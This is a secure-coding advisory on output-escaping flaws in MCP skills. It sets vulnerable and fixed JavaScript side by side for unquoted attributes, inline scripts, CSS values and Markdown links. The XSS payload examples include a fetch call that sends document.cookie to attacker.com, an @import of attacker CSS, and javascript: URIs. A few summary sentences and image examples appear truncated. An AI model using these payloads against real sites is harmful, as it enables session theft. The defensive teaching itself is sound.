Claude skill output escaping security — SA-SKL-ESCAPE2
Escaping HTML entities is necessary but not sufficient. User input lands in multiple distinct output contexts — HTML attributes, JavaScript string literals, CSS property values, and Markdown renderers — each of which requires a different escaping strategy. A value safe inside an HTML text node can be malicious inside an unquoted attribute, a JavaScript string, a CSS value, or a Markdown link URL. SA-SKL-ESCAPE2-001 through ESCAPE2-004 document the four context-specific injection patterns most commonly found in MCP skill audit reports.
Why HTML entity encoding alone is not sufficient
Most developers learn to escape &, <, >, ", and ' before inserting user data into HTML. That discipline prevents injection into HTML text nodes, but the same data may flow into attributes, scripts, style declarations, and Markdown renderers where the attack surface is entirely different. An HTML-encoded string like " is not safe inside a JavaScript string literal — some parsers treat it as a quote character, and backslash escape sequences bypass entity encoding entirely. Attribute injection via unquoted values, CSS expression injection, and Markdown link URL injection each require their own purpose-built mitigation. SA-SKL-ESCAPE2 tracks all four patterns across community MCP skill audit reports.
SA-SKL-ESCAPE2 in scope: ESCAPE2-001 (unquoted HTML attribute injection), ESCAPE2-002 (JavaScript string context injection in inline script), ESCAPE2-003 (CSS injection via user-supplied style attribute), ESCAPE2-004 (Markdown link and image injection in rendered output). All four are detected by SkillAudit's template AST analysis and output context tracing.
ESCAPE2-001 — HTML attribute injection via unquoted attribute value
When a user-supplied value is interpolated directly into an HTML attribute without surrounding quotes, a space character terminates the attribute value and anything following becomes a new attribute on the same element. The attacker does not need to inject a quote character — the space alone is sufficient. This means that HTML-encoding quotes in the value provides no protection: the injection vector is the absence of delimiting quotes around the attribute, not the content of the value itself. The pattern appears frequently in EJS, Handlebars, and template literal HTML generation in Node.js MCP skills.
// VULNERABLE: unquoted attribute — space in userInput breaks out of attribute value
// Template: <div data-url=${userInput}>
// Attacker input: "dangerous onmouseover=alert(1) x="
// Rendered: <div data-url=dangerous onmouseover=alert(1) x=>
// ^ value ends at space, new attribute onmouseover=alert(1) injected
// Also vulnerable patterns:
// <a href=${url}>
// <img src=${src} alt=${alt}>
// In EJS: <div class=<%= userClass %>> (no quotes around attribute)
// In Handlebars: <div data-id={{userId}}> (unquoted)
function renderCard(userInput) {
// Naive template construction without quoting attribute
return `<div class="card" data-url=${userInput}>Click</div>`;
}
// If userInput = "x onmouseover=fetch('https://attacker.com/'+document.cookie)"
// Output: <div class="card" data-url=x onmouseover=fetch('...')>Click</div>
// The injected event handler executes when user mouses over the element
// FIXED: always quote attribute values AND HTML-encode the content
// Using the 'he' library for robust HTML attribute encoding
const he = require('he');
function escapeHtml(str) {
// he.encode covers &, <, >, ", ' and all other HTML special chars
return he.encode(String(str), { useNamedReferences: true });
}
function renderCard(userInput) {
// Double protection: quoted attribute + encoded value
return `<div class="card" data-url="${escapeHtml(userInput)}">Click</div>`;
}
// Even if userInput = "x onmouseover=alert(1)"
// escapeHtml produces: "x onmouseover=alert(1)"
// Output: <div class="card" data-url="x onmouseover=alert(1)">Click</div>
// ^ quotes keep everything inside a single attribute value
// ^ encoding neutralises any residual special chars
// Note: without the surrounding quotes, no amount of entity encoding
// prevents attribute injection — the space character is not encodable
// in a way that prevents attribute termination in unquoted context
onmouseover, onerror, and onfocus. Fix: always wrap attribute interpolations in double quotes and HTML-encode the value with he.encode(); note that entity encoding alone without quotes does not prevent this attack class.ESCAPE2-002 — JavaScript string context injection in inline script
When a server-side template embeds user-supplied values directly inside a <script> block, the output context is JavaScript, not HTML. HTML entity encoding is the wrong tool here: an HTML parser processes the page first and may decode entities before the JavaScript engine sees the value, meaning " can become " and terminate the string literal. Additionally, backslash escape sequences like \" bypass naive quote-stripping, and injecting </script> terminates the script block entirely regardless of quoting. The only correct serialisation for user data inside an inline script is JSON.stringify(), which produces a valid JavaScript string literal with all dangerous characters properly escaped.
// VULNERABLE: user values interpolated directly into inline script string literals
// <script>var config = { url: "${userUrl}", name: "${userName}" };</script>
// Attacker input for userUrl:
// "; alert(document.cookie); var x = "
// Resulting script:
// var config = { url: ""; alert(document.cookie); var x = "", name: "..." };
// ^ string closed, arbitrary JS executed
// HTML-encoding doesn't help reliably:
// Input: "; alert(1); var x = "
// Some parsers decode " to " before JS engine sees the string
// Result: same injection
// Backslash bypass:
// Input: \"; alert(1); //
// Naive quote-escaping only adds \: \\"; alert(1); //
// Double-backslash means the escaped quote is still a quote terminator
function buildPageScript(userUrl, userName) {
return `<script>
var config = { url: "${userUrl}", name: "${userName}" };
initApp(config);
</script>`;
}
// FIXED: use JSON.stringify() for all values interpolated into inline scripts
// JSON.stringify produces a fully escaped JS string literal including surrounding quotes
function buildPageScript(userUrl, userName) {
// JSON.stringify escapes: ", \, control chars, and U+2028/U+2029 line terminators
// It also produces the surrounding double-quote delimiters
const safeUrl = JSON.stringify(String(userUrl));
const safeName = JSON.stringify(String(userName));
// Extra safety: escape </ to prevent </script> injection breaking the block
// JSON.stringify does NOT escape forward slashes by default
const escapeScriptClose = (s) => s.replace(/<\//g, '<\\/');
return `<script>
var config = { url: ${escapeScriptClose(safeUrl)}, name: ${escapeScriptClose(safeName)} };
initApp(config);
</script>`;
}
// If userUrl = '"; alert(document.cookie); var x = "'
// JSON.stringify produces: '"\"; alert(document.cookie); var x = \""'
// Output: var config = { url: "\"; alert(document.cookie); var x = \"", name: ... };
// ^ injection attempt is safely inside the string literal
<script> block string literals using HTML entity encoding or simple quote escaping; HTML encoding is insufficient in a JavaScript context (entities may be decoded before JS parsing), and backslash sequences bypass naive escaping. Fix: use JSON.stringify() for every value interpolated into an inline script, and escape </ sequences in the result to prevent </script> tag injection breaking the script block.ESCAPE2-003 — CSS injection via user-supplied style attribute value
When user input is reflected into a CSS style attribute or a <style> block without validation, the attacker can inject arbitrary CSS. In modern browsers the most exploitable vector is background: url(javascript:...) in older IE, or the CSS expression() function in IE 7 and below. More practically today, style attribute injection enables UI redressing (covering legitimate buttons with transparent overlays), data exfiltration via CSS attribute selectors and external url() calls, and stylesheet import of attacker-controlled CSS via @import in a <style> block injection. The fix is to never reflect arbitrary user input into CSS contexts — validate against a strict allowlist before interpolation.
// VULNERABLE: user-supplied value reflected directly into style attribute
// <div style="color: ${userColor}">
// Vector 1 — style attribute injection:
// userColor = "red; background: url(javascript:alert(1))"
// Rendered: <div style="color: red; background: url(javascript:alert(1))">
// Old IE executes javascript: in CSS url()
// Vector 2 — IE CSS expression (IE 7 and below, still relevant in legacy audits):
// userColor = "expression(alert(document.cookie))"
// Rendered: <div style="color: expression(alert(document.cookie))">
// Vector 3 — style block injection enabling @import:
// <style>.user { color: ${userInput}; }</style>
// userInput = "red; } @import url(https://attacker.com/steal.css); .x { color: red"
// Rendered stylesheet imports attacker CSS, which can position transparent overlays
function renderUserBadge(username, userColor) {
return `<div style="color: ${userColor}">${username}</div>`;
}
// Also vulnerable:
// <style>.badge-${userId} { background-color: ${userColor}; }</style>
// FIXED: validate CSS property values against a strict allowlist before interpolation
// Option 1: allowlist of known named colors + hex color regex
const HEX_COLOR_RE = /^#([0-9a-fA-F]{3}|[0-9a-fA-F]{6})$/;
const NAMED_COLORS = new Set([
'red', 'blue', 'green', 'black', 'white', 'gray', 'grey',
'orange', 'purple', 'yellow', 'pink', 'brown', 'transparent',
]);
function sanitizeCssColor(value) {
const str = String(value).trim().toLowerCase();
if (HEX_COLOR_RE.test(str) || NAMED_COLORS.has(str)) {
return str;
}
return 'inherit'; // safe fallback
}
function renderUserBadge(username, userColor) {
const safeColor = sanitizeCssColor(userColor);
return `<div style="color: ${safeColor}">${username}</div>`;
}
// Option 2 (preferred): set CSS custom properties via JS instead of inline styles
// <div id="badge">${username}</div>
// document.getElementById('badge').style.setProperty('color', sanitizeCssColor(userColor));
// style.setProperty never executes expressions or url() — the value is treated as literal
style attribute values or <style> block declarations; attacker can inject javascript: URIs in url(), CSS expression() in legacy IE, or @import directives in block-level injection to load attacker-controlled stylesheets. Fix: validate CSS property values against a strict allowlist (hex color regex, named color set) before interpolation; prefer setting styles via element.style.setProperty() in JavaScript rather than reflecting values into CSS text.ESCAPE2-004 — Markdown injection in rendered output
MCP skills that accept user-supplied text and render it as Markdown — audit comments, ticket descriptions, chat messages, report annotations — are vulnerable to Markdown injection when the renderer does not sanitize link and image URLs. The attacker injects [Click here](javascript:alert(1)) to produce a hyperlink whose href executes JavaScript on click, or  to log the victim's IP address via an auto-loading image request. Standard Markdown renderers such as marked produce raw HTML from these constructs without URL validation by default. The fix requires either a custom renderer that rejects dangerous protocols, or running the rendered HTML through DOMPurify.
// VULNERABLE: marked renders user Markdown to HTML without link sanitization
const marked = require('marked');
function renderComment(userMarkdown) {
// marked converts Markdown to HTML without validating link or image URLs
return marked.parse(userMarkdown);
}
// Attacker input 1 — XSS via javascript: link:
// [Click here](javascript:alert(document.cookie))
// Rendered: <a href="javascript:alert(document.cookie)">Click here</a>
// Clicking the link executes JS in the page context
// Attacker input 2 — IP logging via tracking pixel:
// 
// Rendered: <img src="https://attacker.com/pixel.gif?id=victim" alt="">
// Browser auto-fetches the image, logging victim IP, User-Agent, and session timing
// Attacker input 3 — data: URI image with embedded payload:
// </script>)
// In some browsers the data: URI opens an XSS context on click
// FIXED: marked with custom link renderer that rejects dangerous protocols
const marked = require('marked');
const he = require('he');
const SAFE_PROTOCOLS = new Set(['https:', 'http:', 'mailto:']);
function isSafeUrl(href) {
try {
const url = new URL(href);
return SAFE_PROTOCOLS.has(url.protocol);
} catch {
// Relative URLs are allowed; non-parseable strings with dangerous schemes rejected
const lower = href.toLowerCase();
return !lower.startsWith('javascript:') &&
!lower.startsWith('data:') &&
!lower.startsWith('vbscript:');
}
}
// Custom renderer: validate href on links and src on images
const renderer = new marked.Renderer();
renderer.link = function(href, title, text) {
if (!isSafeUrl(href)) {
// Render as plain text, stripping the link entirely
return text;
}
const titleAttr = title ? ` title="${he.encode(title)}"` : '';
return `<a href="${he.encode(href)}"${titleAttr} rel="noopener noreferrer">${text}</a>`;
};
renderer.image = function(href, title, alt) {
if (!isSafeUrl(href)) {
return ''; // Drop unsafe images entirely
}
return `<img src="${he.encode(href)}" alt="${he.encode(alt || '')}">`;
};
function renderComment(userMarkdown) {
return marked.parse(userMarkdown, { renderer });
}
// Alternative: render with defaults then sanitize with DOMPurify (server-side via jsdom)
// const createDOMPurify = require('dompurify');
// const { JSDOM } = require('jsdom');
// const purify = createDOMPurify(new JSDOM('').window);
// return purify.sanitize(marked.parse(userMarkdown), { ALLOWED_URI_REGEXP: /^https?:/ });
marked or equivalent without link URL sanitization; attacker injects [text](javascript:...) to produce an XSS-triggering hyperlink,  for IP logging via auto-loaded image, or data: URI image hrefs. Fix: use a custom marked renderer that validates all link and image URLs against an allowlist of safe protocols (https:, http:, mailto:); or pass rendered HTML through server-side DOMPurify with a strict URI allowlist.SkillAudit detection summary — SA-SKL-ESCAPE2
| Finding | Severity | Root Cause | Fix |
|---|---|---|---|
| ESCAPE2-001 | HIGH | User value in unquoted HTML attribute — space terminates value, attacker injects new attributes including event handlers | Always quote attribute values; encode content with he.encode() |
| ESCAPE2-002 | HIGH | User value interpolated into inline <script> string literal — HTML encoding insufficient; backslash bypass possible | Use JSON.stringify() for all inline script interpolations; escape </ sequences |
| ESCAPE2-003 | MEDIUM | User value reflected into CSS style attribute or <style> block — enables url(javascript:), expression(), or @import injection | Validate against hex color regex or named color allowlist; prefer element.style.setProperty() |
| ESCAPE2-004 | HIGH | Markdown renderer emits javascript: links and auto-loading images from user input without URL validation | Custom marked renderer rejecting non-https: link and image URLs; or DOMPurify post-render |
Related patterns: For basic HTML text node escaping gaps, see SA-SKL-XSS. For Content-Security-Policy misconfiguration that widens the XSS blast radius, see SA-SKL-CSPVIO. For SQL injection and other server-side injection patterns, see SA-SKL-SQLINJ.